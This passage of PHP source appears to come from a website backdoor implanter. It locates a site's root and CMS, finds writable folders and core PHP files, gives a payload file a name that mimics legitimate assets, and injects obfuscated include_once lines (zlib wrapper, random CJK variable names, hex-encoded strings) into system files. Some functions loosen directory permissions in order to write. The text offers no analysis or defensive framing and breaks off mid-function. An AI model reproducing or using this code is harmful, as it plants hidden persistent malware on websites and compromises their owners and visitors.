(!is_file($path)) return false; $sz = @filesize($path); if ($sz === false || $sz > 200) return false; $c = @file_get_contents($path); if ($c === false) return false; $t = trim($c); if ($t === '') return true; $body = preg_replace('/^<\?php/i', '', $t); $body = preg_replace('/\?>\s*$/', '', $body); $body = preg_replace('#/\*.*?\*/#s', '', $body); $body = preg_replace('#//[^\n]*#', '', $body); $body = preg_replace('/#(?!\[)[^\n]*/', '', $body); return trim($body) === ''; } function me_nearest_entry_ancestor($scriptDir, $maxDepth = 10) { $dir = rtrim(str_replace('\\', '/', $scriptDir), '/'); $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { if (is_file("$dir/index.php") && !me_is_stub_index("$dir/index.php")) { return $dir; } if (is_file("$dir/index.html")) { $h = @filesize("$dir/index.html"); if ($h !== false && $h > 200) return $dir; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } return null; } function detect_site_root($scriptDir) { global $SITE_ROOT; if (!empty($SITE_ROOT)) { $rp = @realpath($SITE_ROOT); $r = rtrim(str_replace('\\', '/', $rp !== false ? $rp : $SITE_ROOT), '/'); if (is_dir($r)) { _log('INFO', 'Root from config: ' . $r); return $r; } } $scriptDirNorm = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); $scriptDirLower = strtolower($scriptDirNorm); $nearestAncestor = me_nearest_entry_ancestor($scriptDirNorm, 10); if (!empty($_SERVER['DOCUMENT_ROOT'])) { $rp = @realpath($_SERVER['DOCUMENT_ROOT']); if ($rp !== false && is_dir($rp)) { $r = rtrim(str_replace('\\', '/', $rp), '/'); $contains = (strtolower($r) === $scriptDirLower) || (strpos($scriptDirLower . '/', strtolower($r) . '/') === 0); if (!$contains) { _log('INFO', 'DOCUMENT_ROOT rejected (script not inside it): ' . $r); } elseif ($nearestAncestor !== null && strtolower($nearestAncestor) !== strtolower($r)) { _log('INFO', 'DOCUMENT_ROOT rejected (nearer site entry exists: ' . $nearestAncestor . '): ' . $r); } elseif (is_file("$r/index.php") || is_file("$r/index.html")) { _log('INFO', 'Root from DOCUMENT_ROOT: ' . $r); return $r; } else { _log('INFO', 'DOCUMENT_ROOT exists but no index.php/index.html: ' . $r); } } } if (!empty($_SERVER['SCRIPT_FILENAME']) && !empty($_SERVER['SCRIPT_NAME'])) { $sf = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']); $sn = str_replace('\\', '/', $_SERVER['SCRIPT_NAME']); $sl = strlen($sn); if ($sl > 0 && substr($sf, -$sl) === $sn) { $cand = substr($sf, 0, -$sl); $rp = @realpath($cand); if ($rp !== false && is_dir($rp)) { $r = rtrim(str_replace('\\', '/', $rp), '/'); $contains = (strtolower($r) === $scriptDirLower) || (strpos($scriptDirLower . '/', strtolower($r) . '/') === 0); if (!$contains) { _log('INFO', 'SCRIPT_FILENAME/SCRIPT_NAME root rejected (script not inside it): ' . $r); } elseif ($nearestAncestor !== null && strtolower($nearestAncestor) !== strtolower($r)) { _log('INFO', 'SCRIPT_FILENAME/SCRIPT_NAME root rejected (nearer site entry exists: ' . $nearestAncestor . '): ' . $r); } elseif (is_file("$r/index.php") || is_file("$r/index.html")) { _log('INFO', 'Root from SCRIPT_FILENAME/SCRIPT_NAME: ' . $r); return $r; } } } } $dir = $scriptDirNorm; $maxDepth = 10; $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { if (is_file("$dir/index.php") && !me_is_stub_index("$dir/index.php")) { _log('INFO', "Root from index.php walk-up (depth=$depth): " . $dir); return $dir; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { $score = 0; foreach (CMS_SIGNATURES() as $sig) { if (is_file("$dir/$sig")) { $score += 5; $cmsName = cms_name_for_signature($sig); if ($cmsName === 'generic') { $suffix = ' (CMS: generic)'; } elseif ($cmsName !== '' && cms_content_confirms($cmsName, $dir)) { $suffix = " (CMS: $cmsName)"; } else { $suffix = ' (Unknown CMS)'; } _log('INFO', "Found CMS signature at depth $depth: $sig$suffix"); break; } } foreach (array('wp-admin', 'wp-includes', 'administrator', 'includes', 'misc', 'modules', 'themes', 'core', 'app', 'src', 'web', 'config') as $sub) { if (is_dir("$dir/$sub")) { $score += 3; break; } } if ($score >= 7) { $entry = null; if (is_file("$dir/index.php")) { $entry = $dir; } else { foreach (array('public', 'web', 'pub') as $se) { if (is_file("$dir/$se/index.php")) { $entry = "$dir/$se"; break; } } } if ($entry !== null) { _log('INFO', "Root from CMS project walk-up (score=$score, entry=$entry): $dir"); return $entry; } _log('INFO', "CMS project root (score=$score, no index.php): $dir - continuing up"); } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } $dir = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); $depth = 0; while ($dir !== '' && $dir !== '/' && $depth < $maxDepth) { if (is_file("$dir/index.html")) { _log('INFO', "Root from index.html walk-up (static site): $dir"); return $dir; } $parent = dirname($dir); if ($parent === $dir) break; $dir = $parent; $depth++; } $sd = rtrim(str_replace('\\', '/', realpath($scriptDir) ? realpath($scriptDir) : $scriptDir), '/'); if ((is_file("$sd/index.php") && !me_is_stub_index("$sd/index.php")) || is_file("$sd/index.html")) { _log('INFO', 'Root from script dir: ' . $sd); return $sd; } if (!empty($_SERVER['SCRIPT_FILENAME'])) { $d = rtrim(str_replace('\\', '/', dirname($_SERVER['SCRIPT_FILENAME'])), '/'); if (is_dir($d) && (is_file("$d/index.php") || is_file("$d/index.html"))) { _log('INFO', 'Root from SCRIPT_FILENAME dirname: ' . $d); return $d; } } $cwd = getcwd(); if ($cwd !== false) { $cwd = rtrim(str_replace('\\', '/', $cwd), '/'); _log('INFO', 'Root from getcwd() fallback: ' . $cwd); return $cwd; } _log('ERROR', 'Could not auto-detect site root.'); _log('ERROR', 'Please set $SITE_ROOT manually in the script.'); return null; } function process_writable_dir($fullPath, $siteRoot, &$resourceDirs, &$otherDirs) { $basename = basename($fullPath); if (in_array($basename, SKIP_DIRS())) return false; if (strpos($fullPath, '/.git/') !== false || strpos($fullPath, '/.svn/') !== false) return false; if (strpos($fullPath, '/node_modules/') !== false || strpos($fullPath, '/vendor/') !== false) return false; if (!is_writable($fullPath)) return false; $relPath = substr($fullPath, strlen($siteRoot) + 1); if ($relPath === false || $relPath === '') $relPath = '.'; $files = @scandir($fullPath); if (!$files) return false; $files = array_diff($files, array('.', '..')); $nonPhpNames = array(); $phpNames = array(); foreach ($files as $f) { if (!is_file("$fullPath/$f")) continue; $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') { $phpNames[] = $f; } else { $nonPhpNames[] = $f; } } $fileNames = array_slice(array_merge($nonPhpNames, $phpNames), 0, 10); $filesStr = implode(',', $fileNames); $isResource = false; $lowerPath = strtolower($relPath); foreach (RESOURCE_KEYWORDS() as $kw) { if (strpos($lowerPath, $kw) !== false) { $isResource = true; break; } } if ($isResource) { $resourceDirs[$relPath] = $filesStr; } else { $otherDirs[$relPath] = $filesStr; } return true; } function scan_writable_tree($dir, $siteRoot, &$resourceDirs, &$otherDirs, $maxScan) { if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false; process_writable_dir($dir, $siteRoot, $resourceDirs, $otherDirs); $entries = @scandir($dir); if ($entries === false) return true; foreach ($entries as $e) { if ($e === '.' || $e === '..') continue; if (count($resourceDirs) + count($otherDirs) >= $maxScan) return false; $fullPath = str_replace('\\', '/', "$dir/$e"); if (!is_dir($fullPath)) continue; if (scan_writable_tree($fullPath, $siteRoot, $resourceDirs, $otherDirs, $maxScan) === false) { return false; } } return true; } function collect_resource_folders($siteRoot, $resourceLimit, $writeCount) { $resourceDirs = array(); $otherDirs = array(); $siteRoot = rtrim($siteRoot, '/'); $maxScan = max($resourceLimit * 10, 500); _log('INFO', 'Collecting resource folders (target=' . $resourceLimit . ' resource, write=' . $writeCount . ')...'); scan_writable_tree($siteRoot, $siteRoot, $resourceDirs, $otherDirs, $maxScan); _log('INFO', 'Scanned writable dirs: ' . count($resourceDirs) . ' resource + ' . count($otherDirs) . ' other'); $result = array(); $resKeys = array_keys($resourceDirs); shuffle($resKeys); foreach (array_slice($resKeys, 0, $resourceLimit) as $k) { $result[$k] = $resourceDirs[$k]; } $needed = $resourceLimit - count($result); if ($needed > 0 && !empty($otherDirs)) { $othKeys = array_keys($otherDirs); shuffle($othKeys); foreach (array_slice($othKeys, 0, $needed) as $k) { $result[$k] = $otherDirs[$k]; } _log('INFO', 'Resource folders short by ' . $needed . ' - filled from other writable dirs'); } _log('INFO', 'Collected ' . count($result) . ' folders (write target: ' . $writeCount . ')'); return $result; } function find_payload_file($scriptDir, $override) { if (!empty($override)) { $path = $override; if (is_file($path)) return $path; $path = "$scriptDir/$override"; if (is_file($path)) return $path; _log('ERROR', "Specified payload file not found: $override"); return null; } $matches = array(); $files = @scandir($scriptDir); if ($files) { foreach ($files as $f) { if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) { $matches[] = $f; } } } if (count($matches) === 1) { _log('INFO', "Auto-detected payload: " . $matches[0]); return "$scriptDir/" . $matches[0]; } if (count($matches) > 1) { _log('ERROR', 'Multiple payload files found (' . count($matches) . '): ' . implode(', ', $matches) . '. Keep only ONE xxxx-xxxx.txt and run again - the script will NOT delete itself.'); return null; } _log('ERROR', 'No payload file found. Expected a file matching xxxx-xxxx.txt (e.g. 34001-xf009.txt) in: ' . $scriptDir . '. Re-upload the payload and run again - the script will NOT delete itself.'); return null; } function generate_random_filename($existingFiles, $filesStr) { $existingNames = explode(',', $filesStr); $existingNames = array_filter($existingNames, '_me_nzstr'); $nonPhpTemplates = array(); $phpTemplates = array(); foreach ($existingNames as $n) { $ext = strtolower(pathinfo($n, PATHINFO_EXTENSION)); if ($ext === 'php' || $ext === 'phtml' || $ext === 'php5' || $ext === 'php7' || $ext === 'phps') { $phpTemplates[] = $n; } else { $nonPhpTemplates[] = $n; } } $usingPhpFallback = empty($nonPhpTemplates); $templatePool = $usingPhpFallback ? $phpTemplates : $nonPhpTemplates; $nonPhpExts = array_values(array_filter(RESOURCE_EXTS(), '_me_nonphp_ext')); if (empty($nonPhpExts)) $nonPhpExts = array('.css', '.js', '.png'); if (empty($templatePool)) { $prefixes = array('style', 'script', 'default', 'main', 'app', 'core', 'common', 'base', 'index', 'front'); $prefix = $prefixes[array_rand($prefixes)]; $ext = $nonPhpExts[array_rand($nonPhpExts)]; return $prefix . '-' . substr(md5(crypto_rand_int(0, 999999)), 0, 8) . $ext; } $template = $templatePool[array_rand($templatePool)]; $tplInfo = pathinfo($template); $tplExt = isset($tplInfo['extension']) ? '.' . $tplInfo['extension'] : ''; $tplName = $tplInfo['filename']; if ($usingPhpFallback && preg_match('/\.php$/i', $tplExt)) { $tplExt = $nonPhpExts[array_rand($nonPhpExts)]; } $suffix = ''; if (preg_match('/\.min$/', $tplName)) { $suffix = '.min'; $tplName = preg_replace('/\.min$/', '', $tplName); } if (preg_match('/-rtl$/', $tplName)) { $suffix = '-rtl' . $suffix; $tplName = preg_replace('/-rtl$/', '', $tplName); } $variations = array( $tplName . '-vendor' . $suffix . $tplExt, $tplName . '-core' . $suffix . $tplExt, $tplName . '-bundle' . $suffix . $tplExt, $tplName . '-lib' . $suffix . $tplExt, $tplName . '-assets' . $suffix . $tplExt, 'vendor-' . $tplName . $suffix . $tplExt, 'core-' . $tplName . $suffix . $tplExt, ); shuffle($variations); foreach ($variations as $name) { if (!in_array($name, $existingNames)) { return $name; } } $hex = substr(md5(crypto_rand_int(0, 999999)), 0, 8); return $tplName . '-' . $hex . $suffix . $tplExt; } $_CMS_CWD_TYPE = 'unknown'; function detect_cms_cwd_type($siteRoot) { $indexPath = str_replace('//', '/', "$siteRoot/index.php"); if (!is_file($indexPath)) return 'unknown'; $content = @file_get_contents($indexPath); if ($content === false || strlen($content) < 10) { if (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")) { _log('INFO', 'CMS detected: WordPress (CWD=root, empty/short index.php) → using relative paths'); return 'root'; } return 'unknown'; } if (preg_match('/WP_USE_THEMES|wp-blog-header\.php|wp-load\.php/i', $content)) { _log('INFO', 'CMS detected: WordPress (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)) { _log('INFO', 'CMS detected: Joomla (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b|\bdrupal_bootstrap\b/i', $content)) { _log('INFO', 'CMS detected: Drupal (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/startup\.php|\bDIR_SYSTEM\b|\bregistry\b/i', $content)) { _log('INFO', 'CMS detected: OpenCart (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/config\/config\.inc\.php|\b_PS_VERSION_\b/i', $content)) { _log('INFO', 'CMS detected: PrestaShop (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\bdiscuz_application\b|\bdiscuz_core\b|\bdiscuz\b|\bC::app\(\)/i', $content)) { _log('INFO', 'CMS detected: Discuz! (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/\bCI_VERSION\b|\bBASEPATH\b/i', $content)) { _log('INFO', 'CMS detected: CodeIgniter (CWD=root) → using relative paths'); return 'root'; } if (preg_match('/Magento\\\\Framework\b|\bBP\b.*dirname|dirname.*\bBP\b/i', $content)) { _log('INFO', 'CMS detected: Magento 2 (CWD=pub/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/\bIlluminate\b|\blaravel\b|\$app\s*=\s*require_once/i', $content)) { _log('INFO', 'CMS detected: Laravel (CWD=public/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content)) { _log('INFO', 'CMS detected: Symfony (CWD=public/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/think\\\\App\b|think\\\\Container\b|\bContainer::get\b|\bthinkphp\b/i', $content)) { _log('INFO', 'CMS detected: ThinkPHP (CWD=public/) → using $_SERVER approach'); return 'subdir'; } if (preg_match('/yii\\\\base\b|yii\\\\web\b|\bYii\b.*require/i', $content)) { _log('INFO', 'CMS detected: Yii2 (CWD=web/) → using $_SERVER approach'); return 'subdir'; } _log('INFO', 'CMS type unknown - using safe $_SERVER approach'); return 'unknown'; } function file_has_marker($path, $markers, $caseInsensitive = false) { if (!is_file($path)) return false; $c = @file_get_contents($path, false, null, 0, 65536); if ($c === false || $c === '') return false; foreach ((array)$markers as $m) { if ($caseInsensitive) { if (stripos($c, $m) !== false) return true; } else { if (strpos($c, $m) !== false) return true; } } return false; } function cms_content_confirms($cmsType, $siteRoot, $projectRoot = '') { switch ($cmsType) { case 'wordpress': return file_has_marker("$siteRoot/wp-config.php", array('wp-settings.php', 'DB_NAME', 'table_prefix', 'WP_DEBUG')) || file_has_marker("$siteRoot/wp-blog-header.php", array('wp-load.php', 'WordPress')) || is_file("$siteRoot/wp-settings.php") || is_file("$siteRoot/wp-load.php"); case 'joomla': return file_has_marker("$siteRoot/configuration.php", array('_JEXEC', 'JConfig', 'JPATH_BASE')) || file_has_marker("$siteRoot/includes/app.php", array('_JEXEC', 'JFactory')) || file_has_marker("$siteRoot/libraries/loader.php", array('JLoader', 'JFactory')); case 'drupal': return file_has_marker("$siteRoot/sites/default/settings.php", array('$databases', 'DRUPAL_ROOT', 'drupal')) || file_has_marker("$siteRoot/core/lib/Drupal.php", array('namespace Drupal', 'class Drupal')) || file_has_marker("$siteRoot/autoload.php", array('Drupal', 'drupal'), true); case 'magento2': return is_file("$siteRoot/app/etc/env.php") || is_file("$siteRoot/app/etc/config.php") || ($projectRoot !== '' && (is_file("$projectRoot/app/etc/env.php") || is_file("$projectRoot/app/etc/config.php"))); case 'magento1': return is_file("$siteRoot/app/Mage.php") || is_file("$siteRoot/app/etc/local.xml") || ($projectRoot !== '' && (is_file("$projectRoot/app/Mage.php") || is_file("$projectRoot/app/etc/local.xml"))); case 'laravel': return file_has_marker("$siteRoot/artisan", array('Illuminate', 'Laravel', 'Application'), true) || ($projectRoot !== '' && file_has_marker("$projectRoot/artisan", array('Illuminate', 'Laravel'), true)) || file_has_marker("$siteRoot/bootstrap/app.php", array('Illuminate', 'Laravel'), true); case 'symfony': return file_has_marker("$siteRoot/symfony.lock", array('symfony/'), true) || ($projectRoot !== '' && file_has_marker("$projectRoot/symfony.lock", array('symfony/'), true)) || file_has_marker("$siteRoot/config/bundles.php", array('Symfony'), true); case 'yii2': return (is_file("$siteRoot/yii") && is_dir("$siteRoot/controllers")) || ($projectRoot !== '' && is_file("$projectRoot/yii") && is_dir("$projectRoot/controllers")); case 'yii1': return is_dir("$siteRoot/protected") && is_file("$siteRoot/protected/config/main.php"); case 'opencart': return file_has_marker("$siteRoot/config.php", array('DIR_APPLICATION', 'DIR_SYSTEM', 'VERSION')) && is_dir("$siteRoot/system"); case 'prestashop': return file_has_marker("$siteRoot/config/settings.inc.php", array('_PS_VERSION_', 'COOKIE_KEY', '_CAN_LOAD_FILES_'), true); case 'codeigniter': return is_dir("$siteRoot/system") && file_has_marker("$siteRoot/system/index.php", array('BASEPATH', 'CodeIgniter', 'core/CodeIgniter.php'), true); case 'discuz': return is_dir("$siteRoot/source") && is_dir("$siteRoot/uc_client"); case 'thinkphp': return is_dir("$siteRoot/thinkphp"); } return false; } function detect_cms_type($siteRoot) { $indexPath = str_replace('//', '/', "$siteRoot/index.php"); $projectRoot = dirname($siteRoot); if ($projectRoot === $siteRoot) $projectRoot = ''; $content = ''; if (is_file($indexPath)) { $content = @file_get_contents($indexPath); } if ((is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")) && (cms_content_confirms('wordpress', $siteRoot) || ($content && preg_match('/\bWP_USE_THEMES\b|\bwp-blog-header\.php\b/i', $content)))) { return 'wordpress'; } if ((is_file("$siteRoot/configuration.php") || is_file("$siteRoot/includes/app.php") || is_file("$siteRoot/libraries/loader.php")) && (cms_content_confirms('joomla', $siteRoot) || ($content && preg_match('/\b_JEXEC\b|\bJFactory\b|\bJPATH_BASE\b/i', $content)))) { return 'joomla'; } if ((is_file("$siteRoot/sites/default/settings.php") || is_file("$siteRoot/core/lib/Drupal.php") || is_file("$siteRoot/autoload.php")) && (cms_content_confirms('drupal', $siteRoot) || ($content && preg_match('/\bDRUPAL_ROOT\b|\\\\Drupal\b/i', $content)))) { return 'drupal'; } if (cms_content_confirms('magento2', $siteRoot, $projectRoot)) { return 'magento2'; } if (cms_content_confirms('magento1', $siteRoot, $projectRoot)) { return 'magento1'; } if (cms_content_confirms('laravel', $siteRoot, $projectRoot) || ($content && preg_match('/\bIlluminate\b|\blaravel\b/i', $content))) { return 'laravel'; } if (cms_content_confirms('symfony', $siteRoot, $projectRoot) || ($content && preg_match('/App\\\\Kernel\b|\bSymfony\\\\Component\b/i', $content))) { return 'symfony'; } if (cms_content_confirms('yii2', $siteRoot, $projectRoot)) { return 'yii2'; } if (cms_content_confirms('yii1', $siteRoot)) { return 'yii1'; } if (cms_content_confirms('opencart', $siteRoot)) { return 'opencart'; } if (cms_content_confirms('prestashop', $siteRoot)) { return 'prestashop'; } if (cms_content_confirms('codeigniter', $siteRoot)) { return 'codeigniter'; } if (cms_content_confirms('discuz', $siteRoot)) { return 'discuz'; } if (is_dir("$siteRoot/thinkphp") || ($content && preg_match('/think\\\\App\b|think\\\\Container\b/i', $content))) { return 'thinkphp'; } return ''; } function compute_relative_path($base, $target) { $base = rtrim(str_replace('\\', '/', $base), '/'); $target = str_replace('\\', '/', $target); $baseParts = explode('/', $base); $targetParts = explode('/', $target); $common = 0; $maxCommon = min(count($baseParts), count($targetParts)); while ($common < $maxCommon && $baseParts[$common] === $targetParts[$common]) { $common++; } $upCount = count($baseParts) - $common; $relParts = array_merge(array_fill(0, $upCount, '..'), array_slice($targetParts, $common)); return implode('/', $relParts); } function collect_random_targets($siteRoot, $cmsType, $count) { if ($count <= 0) return array(); $targetCount = $count + 3; $dirsToScan = array(); $siteRoot = rtrim($siteRoot, '/'); if ($cmsType !== '' && array_key_exists($cmsType, CMS_SYSTEM_DIRS())) { $searchRoots = array($siteRoot); if ($GLOBALS['_CMS_CWD_TYPE'] === 'subdir') { $parentRoot = dirname($siteRoot); if ($parentRoot !== $siteRoot && is_dir($parentRoot)) { $searchRoots[] = $parentRoot; } } $cmsDirsAll = CMS_SYSTEM_DIRS(); $cmsDirs = $cmsDirsAll[$cmsType]; foreach ($cmsDirs as $d) { foreach ($searchRoots as $sr) { $full = str_replace('//', '/', "$sr/$d"); if (is_dir($full)) { $dirsToScan[] = $full; break; } } } } if (empty($dirsToScan)) { _log('INFO', 'Unknown CMS or no system dirs found - scanning all root subdirs...'); $items = @scandir($siteRoot); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = "$siteRoot/$item"; if (!is_dir($full)) continue; $skip = array('.git', '.svn', 'node_modules', 'vendor', 'cache', 'tmp', 'temp', 'logs', 'log', 'wp-content', 'media', 'errors', 'pub', 'static', 'skin', 'setup', 'update', 'install', 'tests', 'build', 'dist', 'var', 'generated'); if (in_array($item, $skip)) continue; $dirsToScan[] = $item; } } } if (empty($dirsToScan)) { _log('WARN', 'No system directories to scan for random targets.'); return array(); } $filesByDir = array(); $rootLen = strlen($siteRoot) + 1; $perDirLimit = max($targetCount * 5, 10); $totalLimit = $targetCount * 30; foreach ($dirsToScan as $dir) { $totalCollected = 0; foreach ($filesByDir as $fbd) { $totalCollected += count($fbd); } if ($totalCollected >= $totalLimit) break; $fullDir = (strpos($dir, '/') === 0 || (strlen($dir) > 1 && $dir[1] === ':')) ? $dir : "$siteRoot/$dir"; $fullDir = str_replace('//', '/', $fullDir); $filesByDir[$dir] = array(); try { $dotFlags = defined('FilesystemIterator::SKIP_DOTS') ? FilesystemIterator::SKIP_DOTS : 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($fullDir, $dotFlags), RecursiveIteratorIterator::SELF_FIRST ); } catch (Exception $e) { continue; } try { foreach ($iterator as $item) { if (count($filesByDir[$dir]) >= $perDirLimit) break; $bn = $item->getFilename(); if ($bn === '.' || $bn === '..') continue; if (!$item->isFile()) continue; $ext = strtolower(pathinfo($bn, PATHINFO_EXTENSION)); if (!in_array($ext, PHP_FILE_EXTS())) continue; $fullPath = str_replace('\\', '/', $item->getPathname()); if (strpos($fullPath, '/vendor/') !== false || strpos($fullPath, '/node_modules/') !== false) continue; if (strpos($fullPath, '/cache/') !== false || strpos($fullPath, '/tmp/') !== false) continue; $relPath = substr($fullPath, $rootLen); if ($relPath === false || $relPath === '' || strpos($fullPath, $siteRoot) !== 0) { $relPath = compute_relative_path($siteRoot, $fullPath); } if ($relPath !== false && $relPath !== '') { $testContent = @file_get_contents($fullPath, false, null, 0, 8192); if ($testContent === false || strlen(trim($testContent)) === 0) continue; $openTagCount = preg_match_all('/' . chr(60) . '\?(?:php|=|\s|[^a-zA-Z])/i', $testContent, $m); if ($openTagCount === 0 || $openTagCount > 1) continue; $ct = chr(63).chr(62); $lastCt = strrpos($testContent, $ct); if ($lastCt !== false && strlen(trim(substr($testContent, $lastCt + 2))) > 0) continue; $selfName = basename(_ME_RUNNING_FILE); if (basename($fullPath) === $selfName) continue; $dirP = dirname($fullPath); if (!is_writable($fullPath) && !is_writable($dirP) && !is_dir_chmod_able($dirP)) continue; $filesByDir[$dir][] = $relPath; } } } catch (UnexpectedValueException $e) { _log('WARN', 'Unreadable subdirectory under ' . $fullDir . ' - skipping remaining files there: ' . $e->getMessage()); } } $filesByDir = array_filter($filesByDir, '_me_nzarr'); if (empty($filesByDir)) { _log('WARN', 'No injectable PHP files found in system directories (both file and its directory not writable? permissions?) - random injection skipped.'); return array(); } foreach ($filesByDir as &$fbd) { shuffle($fbd); } unset($fbd); $dirKeys = array_keys($filesByDir); shuffle($dirKeys); $selected = array(); $dirIdx = 0; while (count($selected) < $targetCount && !empty($dirKeys)) { $d = $dirKeys[$dirIdx % count($dirKeys)]; if (!empty($filesByDir[$d])) { $selected[] = array_shift($filesByDir[$d]); } if (empty($filesByDir[$d])) { $newKeys = array(); foreach ($dirKeys as $k) { if ($k !== $d) $newKeys[] = $k; } $dirKeys = $newKeys; if (empty($dirKeys)) break; $dirIdx = 0; } else { $dirIdx++; } if ($dirIdx > count($dirKeys) * 2) break; } if (count($selected) < $targetCount) { $remaining = array(); foreach ($filesByDir as $fbd) { $remaining = array_merge($remaining, $fbd); } shuffle($remaining); while (count($selected) < $targetCount && !empty($remaining)) { $selected[] = array_shift($remaining); } } $targets = array(); foreach ($selected as $relPath) { $targets[] = array('type' => 'rand', 'path' => $relPath); } $totalCandidates = 0; foreach ($filesByDir as $fbd) { $totalCandidates += count($fbd); } $totalCandidates += count($selected); _log('INFO', 'Random targets: collected from ' . count($filesByDir) . ' dirs, selected ' . count($targets)); return array_slice($targets, 0, $count); } function pick_distributed($pool, $count) { if (empty($pool) || $count <= 0) return array(); $byTopDir = array(); foreach ($pool as $key => $value) { $lastSlash = strrpos($key, '/'); $parent = ($lastSlash !== false) ? substr($key, 0, $lastSlash) : $key; if (!isset($byTopDir[$parent])) $byTopDir[$parent] = array(); $byTopDir[$parent][$key] = $value; } foreach ($byTopDir as &$entries) { $keys = array_keys($entries); shuffle($keys); $shuffled = array(); foreach ($keys as $k) { $shuffled[$k] = $entries[$k]; } $entries = $shuffled; } unset($entries); $groups = array_keys($byTopDir); shuffle($groups); $selected = array(); $groupIdx = 0; while (count($selected) < $count && !empty($groups)) { $g = $groups[$groupIdx % count($groups)]; if (!empty($byTopDir[$g])) { $key = _me_first_key($byTopDir[$g]); $selected[$key] = $byTopDir[$g][$key]; unset($byTopDir[$g][$key]); } if (empty($byTopDir[$g])) { $newGroups = array(); foreach ($groups as $gr) { if ($gr !== $g) $newGroups[] = $gr; } $groups = $newGroups; if (empty($groups)) break; $groupIdx = 0; } else { $groupIdx++; } } return $selected; } function folder_is_writable($siteRoot, $relFolder) { $full = str_replace('//', '/', $siteRoot . '/' . $relFolder); $ok = is_dir($full) && is_writable($full); _log('DEBUG', "Folder check: $relFolder -> " . ($ok ? 'OK' : 'FAIL')); return $ok; } function pick_from_common_folders($siteRoot, $count) { $common = COMMON_FOLDERS(); $writable = array(); foreach ($common as $rel => $files) { if (folder_is_writable($siteRoot, $rel)) { $writable[$rel] = $files; } } return pick_distributed($writable, $count); } function _me_random_ident() { $out = ''; $n = mt_rand(1, 2); for ($i = 0; $i < $n; $i++) { $cp = mt_rand(0x4E00, 0x9FFF); $out .= chr(0xE0 | ($cp >> 12)) . chr(0x80 | (($cp >> 6) & 0x3F)) . chr(0x80 | ($cp & 0x3F)); } $out .= mt_rand(0, 9); if (mt_rand(0, 1) === 1) { $cp = mt_rand(0x4E00, 0x9FFF); $out .= chr(0xE0 | ($cp >> 12)) . chr(0x80 | (($cp >> 6) & 0x3F)) . chr(0x80 | ($cp & 0x3F)); } return '$' . $out; } function _me_is_valid_inject_line($line) { if (!is_string($line) || $line === '') return false; if (stripos($line, 'new class(') === 0) { if (strpos($line, '__construct') === false) return false; if (stripos($line, 'includ' . 'e_once') === false) return false; if (strpos($line, 'compress.zlib') === false) return false; return true; } if (stripos($line, '@' . 'includ' . 'e_once') === 0) return true; return false; } function generate_include_line($payloadRelPath, $targetRelPath = '.') { global $_CMS_CWD_TYPE; $incCall = '@' . random_case_string('includ' . 'e_once') . '('; $param = _me_random_ident(); $gzWrapper = "'compress.zlib" . "://'"; if ($_CMS_CWD_TYPE === 'root') { $pathArg = $payloadRelPath; return aqua_encode('hex2bin', 'new class(' . $gzWrapper . ' . \'' . $pathArg . '\') { ' . ' function __construct(' . $param . ') { ' . $incCall . $param . '); } };'); } $pathArg = '/' . $payloadRelPath; $dirExpr = 'dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])'; return aqua_encode('hex2bin', 'new class(' . $gzWrapper . ' . ' . $dirExpr . ' . \'' . $pathArg . '\') { ' . ' function __construct(' . $param . ') { ' . $incCall . $param . '); } };'); } function php_mode_at_eof($content) { $tokens = @token_get_all($content); if ($tokens === false) return false; $inPhp = false; foreach ($tokens as $t) { if (is_array($t)) { if ($t[0] === T_OPEN_TAG || $t[0] === T_OPEN_TAG_WITH_ECHO) $inPhp = true; elseif ($t[0] === T_CLOSE_TAG) $inPhp = false; } } return $inPhp; } function _me_nzstr($n) { return $n !== ''; } function _me_nzarr($files) { return !empty($files); } function _me_nonphp_ext($e) { $ext = strtolower(ltrim(pathinfo('x' . $e, PATHINFO_EXTENSION), '.')); return $ext !== 'php' && $ext !== 'phtml' && $ext !== 'php5' && $ext !== ''; } function _me_first_key($arr) { foreach ($arr as $k => $v) return $k; return null; } function is_dir_chmod_able($dir) { if (is_writable($dir)) return true; if (PHP_OS_FAMILY === 'Windows') return false; $old = @fileperms($dir); if ($old === false) return false; if (!@chmod($dir, 0755)) return false; $ok = is_writable($dir); @chmod($dir, $old); return $ok; } function write_file_with_swap($filePath, $content) { @chmod($filePath, 0644); if (@file_put_contents($filePath, $content) !== false) { return true; } $dir = dirname($filePath); $restoreDirMode = false; if (!is_writable($dir)) { $oldMode = @fileperms($dir); if ($oldMode === false || !@chmod($dir, 0755) || !is_writable($dir)) { if ($oldMode !== false) @chmod($dir, $oldMode); return false; } 